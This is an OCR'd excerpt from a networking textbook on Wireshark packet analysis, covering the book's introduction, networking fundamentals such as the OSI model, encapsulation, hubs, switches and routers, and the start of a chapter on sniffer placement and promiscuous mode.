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INTRODUCTION 


] Practical Packet Analysis, 2nd Edition was 
written over the course of a year and a half, 
from late 2009 to mid 2011, approximately 

four years after the first edition's release. This 
book contains almost all new content, with completely 


new capture files and scenarios. If you liked the first 


edition, then you will like this one. It is written in the same tone and breaks 
down explanations in a simple, understandable manner. If you didn't like 
the first edition, you will like this one, because of the new scenarios and 
expanded content. 


Why This Book? 


You may find yourself wondering why you should buy this book as opposed 
to any other book about packet analysis. The answer lies in the title: Practical 
Packet Analysis. Let's face it—nothing beats real-world experience, and the 
closest you can come to that experience in a book is through practical exam- 
ples of packet analysis with real-world scenarios. 


xviii 


The first half of this book gives you the prerequisite knowledge you will 
need to understand packet analysis and Wireshark. The second half of the 
book is devoted entirely to practical cases that you could easily encounter in 
day-to-day network management. 

Whether you are a network technician, a network administrator, a chief 
information officer, a desktop technician, or even a network security analyst, 
you have a lot to gain from understanding and using the packetanalysis tech- 
niques described in this book. 


Concepts and Approach 


Introduction 


Iam generally a really laid-back guy, so when I teach a concept, I try to do so 
in a really laid-back way. This holds true for the language used in this book. 
Itis very easy to get lost in technical jargon when dealing with technical con- 
cepts, but I have tried my best to keep things as casual as possible. I've made 
all the definitions clear, straightforward, and to the point, without any added 
fluff. After all, I'm from the great state of Kentucky, so I try to keep the big 
words to a minimum. (You'll have to forgive me for some of the backwoods 
country verbiage you'll find throughout the text.) 

If you really want to learn packet analysis, you should make it a point to 
master the concepts in the first several chapters, because they are integral to 
understanding the rest of the book. The second half of the book is purely 
practical. You may not see these exact scenarios in your workplace, but you 
should be able to apply the concepts you learn from them in the situations 
you do encounter. 

Here is a quick breakdown of the contents of the chapters in this book: 


Chapter 1: Packet Analysis and Network Basics 
What is packet analysis? How does it work? How do you do it? This chap- 
ter covers the basics of network communication and packet analysis. 


Chapter 2: Tapping into the Wire 
This chapter covers the different techniques you can use to place a 
packet sniffer on your network. 


Chapter 3: Introduction to Wireshark 
Here, we'll look at the basics of Wireshark—where to get it, how to use it, 
what it does, why it's great, and all of that good stuff. 


Chapter 4: Working with Captured Packets 
After you have Wireshark up and running, you will want to know how to 
interact with captured packets. This is where you'll learn the basics. 


Chapter 5: Advanced Wireshark Features 
Once you have learned to crawl, it's time to take off running. This chap- 
ter delves into the advanced Wireshark features, taking you under the 
hood to show you some of the less apparent operations. 


Chapter 6: Common Lower-Layer Protocols 
This chapter shows you what some of the most common lower-layer net- 
work communication protocols—such as TCP, UDP, and IP—look like at 
the packet level. In order to understand how these protocols can mal- 
function, you first need to understand how they work. 


Chapter 7: Common Upper-Layer Protocols 
Continuing with protocol coverage, this chapter shows you what the three 
of the most common upper-layer network communication protocols— 
HTTP, DNS, and DHCP—look like at the packet level. 


Chapter 8: Basic Real-World Scenarios 
This chapter contains breakdowns of some common traffic and the first 
set of real-world scenarios. Each scenario is presented in an easy-to-follow 
format, where the problem, analysis, and solution are given. These basic 
scenarios deal with only a few computers and involve a limited amount of 
analysis—just enough to get your feet wet. 


Chapter 9: Fighting a Slow Network 
The most common problems network technicians hear about generally 
involve slow network performance. This chapter is devoted to solving 
these types of problems. 


Chapter 10: Packet Analysis for Security 
Network security is the biggest hot-button topic in the information tech- 
nology area. Chapter 10 shows you some scenarios related to solving 
security-related issues with packet-analysis techniques. 


Chapter 11: Wireless Packet Analysis 
This chapter is a primer on wireless packet analysis. It discusses the dif- 
ferences between wireless analysis and wired analysis, and includes some 
examples of wireless network traffic. 


Appendix: Further Reading 
The appendix of this book suggests some other reference tools and web- 
sites that you might find useful as you continue to use the packet-analysis 
techniques you have learned. 


How to Use This Book 


I have intended this book to be used in two ways: 


e Asan educational text that you will read through, chapter by chapter, 
in order to gain an understanding of packet analysis. This means paying 
particular attention to the real-world scenarios in the last several chapters. 


e Asareference resource. There are some features of Wireshark that you 
will not use very often, so you may forget how they work. Practical Packet 
Analysisis a great book to have on your bookshelf when you need a quick 
refresher about how to use a specific feature. I've also provided some 
unique charts, diagrams, and methodologies that may prove to be useful 
references when doing packet analysis for your job. 


Introduction xix 
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About the Sample Capture Files 


All of the capture files used in this book are available from the No Starch 
Press page for this book, hitp://www.nostarch.com/packet2. htm. In order to 
maximize the potential of this book, I highly recommend that you download 
these files and use them as you follow along with the examples. 


The Rural Technology Fund 


I couldn’t write an introduction without mentioning the best thing to come 
from Practical Packet Analysis. Shortly after the release of the first edition of 
this book, I founded a 501 (c) (3) nonprofit organization that is the culmina- 
tion of one of my biggest dreams. 

Rural students, even those with excellent grades, often have fewer oppor- 
tunities for exposure to technology than their city or suburban counterparts. 
Established in 2008, the Rural Technology Fund (RTF) seeks to reduce the 
digital divide between rural communities and their more urban and sub- 
urban counterparts. This is done through targeted scholarship programs, 
community involvement, and general promotion and advocacy of technology 
in rural areas. 

Our scholarships are targeted to students living in rural communities 
who have a passion for computer technology and intend to pursue further 
education in that field. I'm pleased to announce that 100 percent of the 
author proceeds from this book go directly to the Rural Technology Fund 
in order to provide these scholarships. If you want to learn more about the 
Rural Technology Fund or how you can contribute, visit our website at Attp:// 
www.ruraltechfund.org/. 


Contacting Me 


Introduction 


I'm always thrilled to get feedback from people who read my writing. If you 
would like to contact me for any reason, you can send all questions, comments, 
threats, and marriage proposals directly to me at chris@chrissanders.org. I also 
blog regularly at Attp://wwuw.chrissanders.org/ and can be followed on Twitter 
at Gchrissanders88. 


PACKET ANALYSIS AND 
NETWORK BASICS 


A million different things can go wrong 

with a computer network on any given 
day—from a simple spyware infection to a 
complex router configuration error—and it's 
impossible to solve every problem immediately. The 
best we can hope for is to be fully prepared with the 
knowledge and tools we need to respond to these types 
of issues. 


All network problems stem from the packet level, where even the prettiest 
looking applications can reveal their horrible implementations, and seemingly 
trustworthy protocols can prove malicious. To better understand network 
problems, we go to the packet level. Here, nothing is hidden from us—nothing 
is obscured by misleading menu structures, eye-catching graphics, or untrust- 
worthy employees. At this level, there are no true secrets (only encrypted 
ones). The more we can do at the packet level, the more we can control our 
network and solve problems. This is the world of packet analysis. 


2 


This book dives into the world of packet analysis headfirst. You'll learn 
how to tackle slow network communication, identify application bottlenecks, 
and even track hackers through some real-world scenarios. By the time you 
have finished reading this book, you should be able to implement advanced 
packet-analysis techniques that will help you solve even the most difficult 
problems in your own network. 

In this chapter, we'll begin with the basics, focusing on network commu- 
nication, so you can gain some of the basic background you'll need to exam- 
ine different scenarios. 


Packet Analysis and Packet Sniffers 


Chapter 1 


Packet analysis, often referred to as packet sniffing or protocol analysis, describes 
the process of capturing and interpreting live data as it flows across a network 
in order to better understand what is happening on that network. Packet 
analysis is typically performed by a packet sniffer, a tool used to capture raw 
network data going across the wire. 

Packet analysis can help with the following: 


e Understanding network characteristics 

e Learning who is on a network 

e Determining who or what is utilizing available bandwidth 
e Identifying peak network usage times 

e Identifying possible attacks or malicious activity 


e Finding unsecured and bloated applications 


There are various types of packet-sniffing programs, including both free 
and commercial ones. Each program is designed with different goals in 
mind. A few popular packet-analysis programs are tcpdump, OmniPeek, and 
Wireshark (which we will be using exclusively in this book). tcpdump is a 
command-line program. OmniPeek and Wireshark have graphical user inter- 
faces (GUIs). 


Evaluating a Packet Sniffer 


You need to consider a number of factors when selecting a packet sniffer, 
including the following: 


Supported protocols All packet sniffers can interpret various protocols. 
Most can interpret common network protocols (such as IPv4 and ICMP), 
transport layer protocols (such as TCP and UDP), and even application 
layer protocols (such as DNS and HTTP). However, they may not sup- 
port nontraditional or newer protocols (such as IPv6, SMBv2, and SIP). 
When choosing a sniffer, make sure that it supports the protocols you're 
going to use. 


User-friendliness Consider the packet sniffer's program layout, ease of 
installation, and general flow of standard operations. The program you 
choose should fit your level of expertise. If you have very little packet- 
analysis experience, you may want to avoid the more advanced command- 
line packet sniffers like tcpdump. On the other hand, if you have a wealth 
of experience, you may find an advanced program more appealing. As 
you gain experience with packet analysis, you may even find it useful to 
combine multiple packet-sniffing programs to fit particular scenarios. 


Cost The great thing about packet sniffers is that there are many free 
ones that rival any commercial products. The most notable difference 
between commercial products and their free alternatives is their reporting 
engines. Commercial products typically include some form of fancy 
report-generation module, which is usually lacking or nonexistent in 
free applications. 


Program support Even after you have mastered the basics of a sniffing 
program, you may occasionally need support to solve new problems as 
they arise. When evaluating available support, look for developer docu- 
mentation, public forums, and mailing lists. Although there may be a lack 
of developer support for free packet-sniffing programs like Wireshark, 
the communities that use these applications will often fill the gap. These 
communities of users and contributors provide discussion boards, wikis, 
and blogs designed to help you to get more out of your packet sniffer. 


Operating system support Unfortunately, not all packet sniffers support 
every operating system. Choose one that will work on all the operating 
systems that you need to support. If you are a consultant, you may be 
required to capture and analyze packets on a variety of operating systems, 
so you will need a tool that runs on most operating systems. Also keep 
in mind that you will sometimes capture packets on one machine and 
review them on another. Variations between operating systems may force 
you to use a different application for each device. 


How Packet Sniffers Work 


The packet-sniffing process involves a cooperative effort between software 
and hardware. This process can be broken down into three steps: 


Collection In the first step, the packet sniffer collects raw binary data 
from the wire. Typically, this is done by switching the selected network 
interface into promiscuous mode. In this mode, the network card can 
listen to all traffic on a network segment, not only the traffic that is 
addressed to it. 


Conversion In this step, the captured binary data is converted into a 
readable form. This is where most advanced command-line packet sniffers 
stop. At this point, the network data is in a form that can be interpreted 
only on a very basic level, leaving the majority of the analysis to the end user. 
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Analysis The third and final step involves the actual analysis of the cap- 
tured and converted data. The packet sniffer takes the captured network 
data, verifies its protocol based on the information extracted, and begins 
its analysis of that protocol's specific features. 


How Computers Communicate 


Chapter 1 


In order to fully understand packet analysis, you must understand exactly 
how computers communicate with each other. In this section, we'll examine 
the basics of network protocols, the Open Systems Interconnections (OSI) 
model, network data frames, and the hardware that supports it all. 


Protocols 


Modern networks are made up of a variety of systems running on many differ- 
ent platforms. To aid this communication, we use a set of common languages 
called protocols. Common protocols include Transmission Control Protocol 
(TCP), Internet Protocol (IP), Address Resolution Protocol (ARP), and 
Dynamic Host Configuration Protocol (DHCP). A protocol stack is a logical 
grouping of protocols that work together. 

One of the best ways to understand protocols is to think of them as similar 
to the rules that govern spoken or written human languages. Every language 
has rules, such as how verbs should be conjugated, how people should be 
greeted, and even how to properly thank someone. Protocols work in much 
the same fashion, allowing us to define how packets should be routed, how to 
initiate a connection, and how to acknowledge the receipt of data. 

A protocol can be extremely simple or highly complex, depending on its 
function. Although the various protocols are often drastically different, many 
protocols commonly address the following issues: 


Connection initiation Is it the client or server initiating the connection? 
What information must be exchanged prior to communication? 


Negotiation of connection characteristics Is the communication of the 
protocol encrypted? How are encryption keys transmitted between com- 
municating hosts? 


Data formatting How is the data contained in the packet ordered? In 
what order is the data processed by the devices receiving it? 


Error detection and correction What happens in the event that a packet 
takes too long to reach its destination? How does a client recover if it can- 
not establish communication with a server for a short duration? 


Connection termination How does one host signify to the other that 
communication has ended? What final information must be transmitted 
in order to gracefully terminate communication? 


NOTE 


The Seven-Layer OSI Model 


Protocols are separated according to their 
functions based on the industry-standard 
OSI reference model. The OSI model 
divides the network communications pro- 
cess into seven distinct layers, as shown in 
Figure 1-1. This hierarchical model makes it 
much easier to understand network com- 
munication. The application layer at the 
top represents the actual programs used to 
access network resources. The bottom layer 
is the physical layer, through which the 
actual network data travels. The protocols 
at each layer work together to ensure data 
is properly handled by the protocols at lay- 
ers above and below it. 


The OSI model was originally published in 1983 
by the International Organization for Standard- 
ization (ISO) as a document called ISO 7498. 
The OSI model is no more than an industry- 
recommended standard. Protocol developers are 
not required to follow it exactly. And the OSI 
model is not the only networking model that 
exists; for example, some people prefer the Depart- 
ment of Defense (DoD) model, also known as the 
TCP/IP model. 


Application 
if 


* 


Presentation 


Session 


Physical 


Figure 1-1: A hierarchi- 
cal view of the seven 
layers of the OSI model 


Each OSI model layer has a specific function, as follows: 


Application layer (layer 7) The topmost layer of the OSI model provides 
a means for users to actually access network resources. This is the only 
layer typically seen by end users, as it provides the interface that is the 
base for all of their network activities. 


Presentation layer (layer 6) This layer transforms the data it receives 
into a format that can be read by the application layer. The data encod- 
ing and decoding done here depends on the application layer protocol 
that is sending or receiving the data. The presentation layer also handles 
several forms of encryption and decryption used for securing data. 


Session layer (layer 5) This layer manages the dialogue, or session between 
two computers. It establishes, manages, and terminates this connection 
among all communicating devices. The session layer is also responsible 
for establishing whether a connection is duplex or half-duplex, and for 
gracefully closing a connection between hosts, rather than dropping it 
abruptly. 
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Transport layer (layer 4) The primary purpose of the transport layer is 
to provide reliable data transport services to lower layers. Through flow 
control, segmentation/desegmentation, and error control, the transport 
layer makes sure data gets from point to point error-free. Because ensur- 
ing reliable data transportation can be extremely cumbersome, the OSI 
model devotes an entire layer to it. The transport layer utilizes both 
connection-oriented and connectionless protocols. Certain firewalls and 
proxy servers operate at this layer. 


Network layer (layer 3) This layer is responsible for routing data between 
physical networks, and it is one of the most complex of the OSI layers. It 
is responsible for the logical addressing of network hosts (for example, 
through an IP address). It also handles packet fragmentation, and in some 
cases, error detection. Routers operate at this layer. 


Data link layer (layer 2) This layer provides a means of transporting 
data across a physical network. Its primary purpose is to provide an 
addressing scheme that can be used to identify physical devices (for 
example, MAC addresses). Bridges and switches are physical devices that 
operate at the data link layer. 


Physical layer (layer 1) The layer at the bottom of the OSI model is the 
physical medium through which network data is transferred. This layer 
defines the physical and electrical nature of all hardware used, including 
voltages, hubs, network adapters, repeaters, and cabling specifications. 
The physical layer establishes and terminates connections, provides a 
means of sharing communication resources, and converts signals from 
digital to analog and vice versa. 


Table 1-1 lists some of the more common protocols used at each individ- 
ual layer of the OSI model. 


Table 1-1: Typical Protocols Used in Each Layer of the OSI Model 


Layer Protocol 

Application HTTP, SMTP, FTP, Telnet 

Presentation ASCII, MPEG, JPEG, MIDI 

Session NetBIOS, SAP, SDP, NWLink 
Transport TCP, UDP, SPX 

Network IP, IPX 

Data link Ethernet, Token Ring, FDDI, AppleTalk 


Although the OSI model is no more than a recommended standard, you 
should know it by heart. As we progress through this book, you will find that 
the interaction of protocols on different layers will shape your approach to 
network problems. Router issues will soon become “layer 3 problems” and 
software issues will be recognized as “layer 7 problems.” 


NOTE 


In discussing our work, a colleague told me about a user complaining that he could not 
access a network resource. The issue was the result of the user entering an incorrect 
password. My colleague referred to this as a “layer 8 issue.” Layer 8 is the unofficial 
user layer. This term is commonly used among those who live at the packet level. 


How does data flow through the OSI model? The initial data transfer on 
a network begins at the application layer of the transmitting system. Data 
works its way down the seven layers of the OSI model until it reaches the 
physical layer, at which point the physical layer of the transmitting system 
sends the data to the receiving system. The receiving system picks up the data 
at its physical layer, and the data proceeds up the remaining layers of the 
receiving system to the application layer at the top. 

Services provided by various protocols at any given level of the OSI model 
are not redundant. For example, if a protocol at one layer provides a particu- 
lar service, then no other protocol at any other layer will provide this same 
service. Protocols at different levels may have features with similar goals, but 
they will function a bit differently. 

Protocols at corresponding layers on the sending and receiving computers 
are complementary. For example, if a protocol on layer 7 of the sending 
computer is responsible for encrypting the data being transmitted, the corre- 
sponding protocol on layer 7 of the receiving machine is expected to be 
responsible for decrypting that data. 

Figure 1-2 shows a graphical representation of the OSI model as it relates 
to two communicating clients. You can see communication going from top to 
bottom on one client, and then reversing when it reaches the second client. 


Application Application 
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Figure 1-2: Protocols working at the same layer on both the 
sending and receiving systems 
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Each layer in the OSI model is capable of communicating with only the 
layers directly above and below it. For example, layer 2 can send and receive 
data only from layers 1 and 3. 


Data Encapsulation 


The protocols on different layers of the OSI model communicate with the 
aid of data encapsulation. Each layer in the stack is responsible for adding a 
header or footer—extra bits of information that allow the layers to communi- 
cate—to the data being communicated. For example, when the transport 
layer receives data from the session layer, it adds its own header information 
to that data before passing it to the next layer. 

The encapsulation process creates a protocol data unit (PDU), which includes 
the data being sent and all header or footer information added to it. As data 
moves down the OSI model, the PDU changes and grows as header and 
footer information from various protocols is added to it. The PDU is in its 
final form once it reaches the physical layer, at which point it is sent to the 
destination computer. The receiving computer strips the protocol headers 
and footers from the PDU as the data climbs up the OSI layers. Once the 
PDU reaches the top layer of the OSI model, only the original data remains. 


The term packet refers to a complete PDU that includes header and footer information 
from all layers of the OSI model. 


Understanding how encapsulation of data works can be a bit confusing, 
so we’ll look at a practical example of a packet being built, transmitted, and 
received in relation to the OSI model. Keep in mind that as analysts, we don’t 
often talk about the session or presentation layers, so those will be absent in 
this example (and the rest of this book). 

In this scenario, we are on a computer that is attempting to browse to 
http://www. google.com/. For this process to take place, we must generate a 
request packet that is transmitted from our source client computer to the 
destination server computer. This scenario assumes that a TCP/IP commu- 
nication session has already been initiated. Figure 1-3 illustrates the data- 
encapsulation process in this example. 

We begin on our client computer at the application layer. We are brows- 
ing to a website, so the application layer protocol being used is HTTP, which 
will issue a command to download the file index.himl from google.com. 

Once our application layer protocol has dictated what we want to accom- 
plish, our concern is with getting the packet to its destination. The data in 
our packet is passed down the stack to the transport layer. HTTP is an appli- 
cation layer protocol that utilizes, or sits on, TCP. Therefore, TCP serves as 
the transport layer protocol used to ensure reliable delivery of the packet. 
As a result, a TCP header is generated. This TCP header includes sequence 
numbers and other data that is appended to the packet, and ensures that the 
packet is properly delivered. 


NOTE 
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Figure 1-3: A graphical representation of encapsulation of data between client and server 


We often say that one protocol “sits on” another protocol because of the top-down design 
of the OSI model. An application protocol such as HTTP provides a particular service 
and relies on TCP to ensure delivery of its service. As you will learn, DNS sits on UDP, 
and TCP sits on IP. 


Having done its job, TCP hands the packet off to IP, which is the layer 3 
protocol responsible for the logical addressing of the packet. IP creates a 
header containing logical addressing information and passes the packet along 
to Ethernet on the data link layer. Physical Ethernet addresses are stored in 
the Ethernet header. The packet is now fully assembled and passed to the 
physical layer, where it is transmitted as zeros and ones across the network. 

The completed packet traverses the network cabling system, eventually 
reaching the Google web server. The web server begins by reading the packet 
from the bottom up, meaning that it first reads the data link layer, which 
contains the physical Ethernet addressing information that the network card 
uses to determine that the packet is intended for a particular server. Once 
this information is processed, the layer 2 information is stripped away, and 
the layer 3 information is processed. 

The IP addressing information is read in the same manner as the layer 2 
information to ensure proper addressing and that the packet is not fragmented. 
This data is also stripped away so that the next layer can be processed. 

Layer 4 TCP information is now read to ensure that the packet has arrived 
in sequence. Then the layer 4 header information is stripped away, leaving 
only the application layer data, which can be passed to the web server appli- 
cation hosting the website. In response to this packet from the client, the 
server should transmit a TCP acknowledgment packet so the client knows 
its request was received followed by the index.html file. 
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All packets are built and processed as described in this example, regard- 
less of which protocols are used. But at the same time, keep in mind that not 
every packet on a network is generated from an application layer protocol, so 
you will see packets that contain only information from layer 2, 3, or 4 protocols. 


Network Hardware 


Now it's time to look at network hardware, where the dirty work is done. 
We'll focus on just a few of the more common pieces of network hardware: 
hubs, switches, and routers. 


Hubs 


A hubis generally a box with multiple RJ-45 ports, like the NETGEAR hub 
shown in Figure 1-4. Hubs range from very small 4-port devices to larger 48-port 
ones designed for rack mounting in a corporate environment. 


Figure 1-4: A typical 4-port Ethernet hub 


Because hubs can generate a lot of unnecessary network traffic and are 
capable of operating only in half-duplex mode (they cannot send and receive 
data at the same time), you won’t typically see them used in most modern or 
high-density networks (switches are used instead). However, you should know 
how hubs work, since they will be very important to packet analysis when using 
the “hubbing out” technique discussed in Chapter 2. 

A hub is no more than a repeating device that operates on the physical 
layer of the OSI model. It takes packets sent from one port and transmits 
(repeats) them to every other port on the device. For example, if a computer 
on port 1 of a 4-port hub needs to send data to a computer on port 2, the 
hub sends those packets to ports 1, 2, 3, and 4. The clients connected to 
ports 3 and 4 examine the destination Media Access Control (MAC) address 
field in the Ethernet header of the packet, and they see that the packet is not 
for them, so they drop (discard) the packet. Figure 1-5 illustrates an example 
in which computer A is transmitting data to computer B. When computer A 
sends this data, all computers connected to the hub receive it. Only computer B 
actually accepts the data; the other computers discard it. 

As an analogy, suppose that you sent an email with the subject line “Atten- 
tion all marketing staff” to every employee in your company, rather than to 
only those people who work in the marketing department. The marketing 
department employees will know it is for them, and they will probably open 


it. The other employees will see that it is not for them, and they will probably 
discard it. You can see how this would result in a lot of unnecessary commu- 
nication and wasted time, yet this is exactly how a hub functions. 

The best alternatives to hubs in production and high-density networks 
are switches, which are full-duplex devices that can send and receive data 
synchronously. 


Computer B 


Computer D 


Figure 1-5: The flow of traffic when computer A 
transmits data to computer B through a hub 


Switches 


Like a hub, a switch is designed to repeat packets. However, unlike a hub, 

rather than broadcasting data to every port, a switch sends data to only the 
computer for which the data is intended. Switches look just like hubs, as 

shown in Figure 1-6. 


Figure 1-6: A rack-mountable 24-port Ethernet switch 


Several larger switches on the market, such as Cisco-branded ones, are 
managed via specialized, vendor-specific software or web interfaces. These 
switches are commonly referred to as managed switches. Managed switches 
provide several features that can be useful in network management, including 
the ability to enable or disable specific ports, view port specifics, make config- 
uration changes, and remotely reboot. 
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Switches also offer advanced functionality when it comes to handling 
transmitted packets. In order to be able to communicate directly with specific 
devices, switches must be able to uniquely identify devices based on their MAC 
addresses, which means that they must operate on the data link layer of the 
OSI model. 

Switches store the layer 2 address of every connected device in a CAM 
table, which acts as a kind of traffic cop. When a packet is transmitted, the 
switch reads the layer 2 header information in the packet and, using the CAM 
table as reference, determines to which port(s) to send the packet. Switches 
send packets only to specific ports, thus greatly reducing network traffic. 

Figure 1-7 illustrates traffic flow through a switch. In this figure, com- 
puter A is sending data to only the intended recipient: computer B. Multiple 
conversations can happen on the network at the same time, but information 
is communicated directly between the switch and intended recipient, not 
between the switch and all connected computers. 
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Figure 1-7: The flow of traffic when computer A 
transmits data to computer B through a switch 


Routers 


A router is an advanced network device with a much higher level of function- 
ality than a switch or a hub. A router can take many shapes and forms, but 
most have several LED indicator lights on the front and a few network ports 
on the back, depending on the size of the network. Figure 1-8 shows an 
example of a router. 

Routers operate at layer 3 of the OSI model, where they are responsible 
for forwarding packets between two or more networks. The process routers 
use to direct the flow of traffic among networks is called routing. Several types 
of routing protocols dictate how different types of packets are routed to other 
networks. Routers commonly use layer 3 addresses (such as IP addresses) to 
uniquely identify devices on a network. 


Figure 1-8: A low-level Cisco router suitable for use in a small 
to mid-sized network 


One way to illustrate the concept of routing is by using the analogy of a 
neighborhood with several streets. Think of the houses, with their addresses, 
as computers, and each street as a network segment, as shown in Figure 1-9. 
From your house on your street, you can easily communicate with your 
neighbors in the other houses on the street. This is similar to the operation 
of a switch that allows communication among all computers on a network 
segment. However, communicating with a neighbor on another street is like 
communicating with a computer that is not on the same segment. 
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Figure 1-9: Comparison of a routed network to neighborhood streets 
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Referring to Figure 1-9, let's say that you're sitting at 503 Vine Street and 
need to get to 202 Dogwood Lane. In order to do this, you must cross onto 
Oak Street, and then onto Dogwood Lane. Think of this as crossing network 
segments. If the device at 192.168.0.3 needs to communicate with the device 
at 192.168.0.54, it must cross a router to get to the 10.100.1.1 network, and 
then cross the destination network segment's router before it can get to the 
destination network segment. 

The size and number of routers on a network will typically depend on 
the network's size and function. Personal and home-office networks may have 
only a small router located at the center of the network. A large corporate 
network might have several routers spread throughout various departments, 
all connecting to one large central router or layer 3 switch (an advanced type 
of switch that also has built-in functionality to act as a router). 
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As you begin looking at more and more network diagrams, you will come 
to understand how data flows through these various points. Figure 1-10 shows 
the layout of a very common form of routed network. In this example, two 
separate networks are connected via a single router. If a computer on net- 
work A wishes to communicate with a computer on network B, the transmitted 
data must go through the router. 
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Figure 1-10: The flow of traffic when computer A transmits data to computer X through a router 
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Network traffic can be divided among three main classes: broadcast, multicast, 
and unicast. Each classification has a distinct characteristic that determines 
how packets in that class are handled by networking hardware. 


Broadcast Traffic 


A broadcast packet is one that is sent to all ports on a network segment, regard- 
less of whether that port is a hub or switch. 

All broadcast traffic is not created equally, however. There are layer 2 
and layer 3 forms of broadcast traffic. For instance, on layer 2, the MAC 
address FF:FF:FF:FF:FF:FF is the reserved broadcast address, and any traffic 
sent to this address is broadcast to the entire network segment. Layer 3 also 
has a specific broadcast address. 

The highest possible IP address in an IP network range is reserved 
for use as the broadcast address. For example, in a network configured 
with a 192.168.0.xxx IP range and a 255.255.255.0 subnet mask, the address 
192.168.0.255 is the broadcast address. 

In larger networks with multiple hubs or switches connected via different 
media, broadcast packets transmitted from one switch reach all the way to 
the ports on the other switches on the network, as they are repeated from 
switch to switch. The extent to which broadcast packets travel is called the 
broadcast domain, which is the network segment where any computer can directly 
transmit to another computer without going through a router. Figure 1-11 


shows an example of two broadcast domains on a small network. Because 
each broadcast domain extends until it reaches the router, broadcast packets 
circulate only within this specified broadcast domain. 
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Figure 1-11: A broadcast domain extends to everything behind the 
current routed segment. 


Our earlier example describing how routing relates to a neighborhood 
also provides good insight into how broadcast domains work. You can think 
of a broadcast domain as being like a neighborhood street. If you stand on 
your front porch and yell, only the people on your street will be able to hear 
you. If you want to talk to someone on a different street, you need to find a 
way to speak to that person directly, rather than broadcasting (yelling) from 
your front porch. 


Multicast Traffic 


Multicast is a means of transmitting a packet from a single source to multiple 
destinations simultaneously. The goal of multicasting is to simplify this pro- 
cess by using as little bandwidth as possible. The optimization of this traffic 
lies in the number of times a stream of data is replicated in order to get to its 
destination. The exact handling of multicast traffic is highly dependent on its 
implementation in individual protocols. 

The primary method of implementing multicast is via an addressing 
scheme that joins the packet recipients to a multicast group, which is how 
IP multicast works. This addressing scheme ensures that the packets cannot 
be transmitted to computers to which they are not destined. In fact, IP devotes 
an entire range of addresses to multicast. If you see an IP address in the 
224.0.0.0 to 239.255.255.255 range, it is most likely multicast traffic. 


Unicast Traffic 


A unicast packet is transmitted from one computer directly to another. The 
details of how unicast functions depend on the protocol using it. 

For example, consider a device that wishes to communicate with a web 
server. This is a one-to-one connection, so this communication process 
would begin with the client device transmitting a packet to only the web 
server. This form of communication is an example of unicast traffic. 
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Final Thoughts 


This chapter covered the absolute basics that you need as a foundation for 
packet analysis. You must understand what is going on at this level of network 
communication before you can begin troubleshooting network issues. In the 
next chapter, we will build on these concepts and discuss more advanced net- 
work communication principles. 
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TAPPING INTO THE WIRE 


A key decision for effective packet analysis is 

where to position a packet sniffer to appro- 
priately capture the data. This is most often 
referred to by packet analysts as sniffing the wire, 
tapping the network, or tapping into the wire. Simply put, 
this is the process of placing a packet sniffer on a net- 
work in the correct physical location. 


Unfortunately, sniffing packets is not as simple as plugging a laptop into 
a network port and capturing traffic. In fact, it is sometimes more difficult to 
place a packet sniffer on a network's cabling system than it is to actually ana- 
lyze the packets. 

The challenge with sniffer placement is that a large variety of networking 
hardware is used to connect devices. Figure 2-1 illustrates a typical situation. 
Because the three main devices on a modern network (hubs, switches, and 
routers) each handles traffic differently, you must be very aware of the physi- 
cal setup of the network you are analyzing. 
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Packet Sniffer 


Figure 2-1: Placing your sniffer on the network is sometimes the biggest challenge you 
will face. 


The goal of this chapter is to help you develop an understanding of 
packet-sniffer placement in a variety of different network topologies. But 
first, let's look at how we're actually able to see all the packets that cross the 
wire we're tapping into. 


Living Promiscuously 
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Before you can sniff packets on a network, you need a network interface card 
(NIC) that supports a promiscuous mode driver. Promiscuous mode is what 
allows a NIC to view all packets crossing the wire. 

As you learned in Chapter 1, with network broadcast traffic, it’s common 
for clients to receive packets that are not actually destined for them. ARP, 
which is used to determine which MAC address corresponds to a particular 
IP address, is a crucial fixture on any network, and it’s a great example of 
traffic sent to hosts other than the intended recipient. To find the matching 
MAC address, ARP sends a broadcast packet to every device on its broadcast 
domain in hopes that the correct client will respond. 

A broadcast domain (the network segment where any computer can 
directly transmit to another computer without going through a router) can 
consist of several computers, but only one client on that domain should be 
interested in the ARP broadcast packet that is transmitted. It would be terribly 
inefficient for every computer on the network to actually process the ARP 
broadcast packet. Instead, the NICs of the devices on the network for whom the 
packet is not destined recognize that the packet is of no use to them, and 
the packet is discarded rather than being passed to the CPU for processing. 

The discarding of packets not destined for the receiving host improves 
processing efficiency, but it’s not so great for packet analysts. As analysts, we 
typically want to see every packet sent across the wire so that we don’t risk 
missing some crucial piece of information. 


We can ensure we capture all of the traffic by using the NIC's promiscu- 
ous mode. When operating in promiscuous mode, the NIC passes every packet 
it sees to the host's processor, regardless of addressing. Once the packet 
makes it to the CPU, it can then be grabbed by a packet-sniffing application 
for analysis. 

Most modern NICs support promiscuous mode, and Wireshark includes 
the libpcap/WinPcap driver, which allows it to switch your NIC directly into 
promiscuous mode from the Wireshark GUI. (We'll talk more about libpcap/ 
WinPcap in Chapter 3.) 

For the purposes of this book, you must have a NIC and an operating sys- 
tem that support the use of promiscuous mode. The only time you do not 
need to sniff in promiscuous mode is when you want to see only the traffic 
sent directly to the MAC address of the interface from which you are sniffing. 


NOTE Most operating systems (including Windows) will not let you use a NIC in promiscu- 
ous mode unless you have elevated user privileges. If you cannot legally obtain these 
privileges on a system, chances are that you should not be performing any type of packet 
sniffing on that particular network. 


Sniffing Around Hubs 


Sniffing on a network that has hubs installed is a dream for any packet analyst. 
As you learned in Chapter 1, traffic sent through a hub goes through every 
port connected to that hub. Therefore, to analyze the traffic running through 
a computer connected to a hub, all you need to do is connect a packet sniffer 
to an empty port on the hub. You will be able to see all communication to 
and from that computer, as well as all communication between any other 
devices plugged into that hub. As illustrated in Figure 2-2, your visibility 
window is limitless when your sniffer is connected to a hub-based network. 
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Figure 2-2: Sniffing on a hub network provides a limitless visibility 
window. 
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NOTE 


The visibility window, as shown in various diagrams throughout this book, represents 
the devices on the network whose traffic you can see with a packet sniffer. 


Unfortunately for us, hub-based networks are pretty rare because of the 
headaches they cause network administrators. Because only one device can 
communicate at any one time, a device connected through a hub must compete 
for bandwidth with the other devices trying to communicate through the 
hub. When two or more devices communicate at the same time, packets 
collide, as shown in Figure 2-3. The result may be packet loss, and the com- 
municating devices will compensate for that loss by retransmitting packets, 
which increases network congestion and collisions. As the level of traffic and 
number of collisions increase, devices may need to transmit a packet three or 
four times, decreasing network performance dramatically. It's easy to under- 
stand why most modern networks of any size use switches. 


Transmitting Transmitting 
Computer Computer 


Figure 2-3: Collisions occur on a hub network 
when two devices transmit at the same time. 


Sniffing in a Switched Environment 
